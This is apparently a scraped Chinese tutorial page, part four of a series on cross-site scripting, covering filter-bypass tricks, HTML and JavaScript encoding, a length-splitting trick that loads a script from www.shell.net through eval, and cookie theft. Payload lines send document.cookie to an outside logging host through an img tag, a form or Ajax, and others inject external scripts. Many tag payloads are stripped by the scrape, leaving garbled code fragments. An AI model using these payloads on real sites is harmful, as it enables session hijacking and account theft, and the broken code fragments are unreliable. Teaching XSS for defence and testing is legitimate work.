带有攻击性html语言,跨站脚本攻击（四）

最新推荐文章于 2024-06-11 16:00:54 发布

俊英子

最新推荐文章于 2024-06-11 16:00:54 发布

阅读量296

点赞数

文章标签：带有攻击性html语言

原标题：跨站脚本攻击(四)

XSS漏洞挖掘技巧

4.1

常见的绕过姿势

实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示，但由于HTML语言的松散性和各种标签的不同优先级，使得我们绕过过滤规则成为了可能。

4.1.1 利用大小写绕过

HTML标签名和属性名是不区分大小写，我们可以全使用大写，或者混合使用，如下的几段代码都是可以被正确解析的：

4.1.2 使用未知标签

aaaa

4.1.3 不使用空格和引号

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用ASCII方式进行编码：

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码，例如“e”编码为“\u0065”

· js十六进制，例如“e”编码为“\x65”

· js八进制，例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞，漏洞出现在评论的联系方式处，但是，这处只能写入30个字符长度，必须的就占用了17个字符，剩下的只有13个字符可以支配，如此一来，这个XSS只能用来弹出一个警告框。

幸运的是，网站评论处可以重复留言，也就是说可以提交多个脚本标记，于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z，并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中，最后通过 eval(z) 巧妙地执行代码。

XSS漏洞利用

5.1

窃取Cookie

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie)，就可以看到当前的cookie。

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload：

var img=document.("img"); //创建一个img元素节点

img.src="http://www.nsf-test-xss.com/log?cookie="+escape(document.cookie); //设置src属性

document.body.(img); //添加到body节点下

5.1.2.2 使用form表单

var a = escape(document.cookie)

document.getElementById("i").value=a; //读取cookie并填入value

document.getElementById("x").submit(); //提交表单

可以看到，页面跳转到了攻击者的网站，这对攻击者来说显然是很不友好的。

5.1.2.3 使用Ajax发送

Ajax的全称是Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。Ajax并不是一门新的语言，使用现有的JS语法。简单地讲，Ajax是高配版的JS form。

由于Ajax可以在不重载整个页面的情况下，对网页的某些部分进行更新。并且Ajax可以在后台传输数据，而对前台没有影响。

是一个浏览器接口，使得Javascript可以进行HTTP(S)通信。

Chrome

同域请求

ActiveXObject("Microsoft.XMLHTTP") ActiveXObject("MSXML2.XMLHTTP")

跨域请求

XDomainRequest

之前的web页面都是传递整个页面结果，导致浪费了大量的网络宽带。使用了Ajax技术之后，客户端只向服务器传输更新过的内容，借助于客户端的javascript处理服务器的响应。

事先把XMLHttpTrquest对象写在一个子程序汇总。数据在服务器URL后面，用“？”字符分割，问号后面的数据会被解析成键值。发送数据的MIME类型通常是 application/x-www-for-urlencode 使用的优势，就是可以从服务器读取不同形式的文本数据，包括XML。

5.1.2.4 限制输入长度

对比上面三种传递方式，发现第二种的代码长度是最长的，这也是才构造了一个form表单，可想而知，若要构造出一个完整的页面进行钓鱼攻击，代码长度势必是不会短的。不仅仅是钓鱼，利用XSS获取用户页面信息、Web蠕虫等特殊情况下代码长度肯定也是很长的。然而实际环境下，很多情况服务端都会限制客户端的输入字符长度。

5.1.2.5 调用外部脚本

1. 静态创建

2. 动态创建

var s=document.("script");

s.src="JS地址";

(document.body||document.documentElement).(s);

3. 图片方式调用外部JS

4.借用Jquery

我们经常使用向 $ 内传入一个字符串的方式来选择或生成 DOM 元素，但如果这个字符串是来自用户输入的话，那么这种方式就是有风险的。

先看一个 DEMO：

http://jsbin.com/duwuzonife/1/edit?html,js,output

$("");

当用户输入的字符串是像这样的时，虽然这个元素不会马上被插入到网页的 DOM 中，但这个 DOM 元素已经被创建了，并且暂存在内存里。而对于元素，只要设置了它的 src 属性，浏览器就会马上请求 src 属性所指向的资源。我们也可以利用这个特性做图片的预加载。在上面的示例代码中，创建元素的同时，也设置了它的属性，包括 src 属性和事件监听器，所以浏览器会马上请求图片资源，显然请求不到，随机触发的回调函数，也就执行了 JavaScript 代码。

推荐阅读 $ 的官方文档：http://api.jquery.com/jQuery/

类似的其他方法

after()

.append()

.appendTo()

.before()

.html()

.insertAfter()

.insertBefore()

.prepend()

.prependTo()

.replaceAll()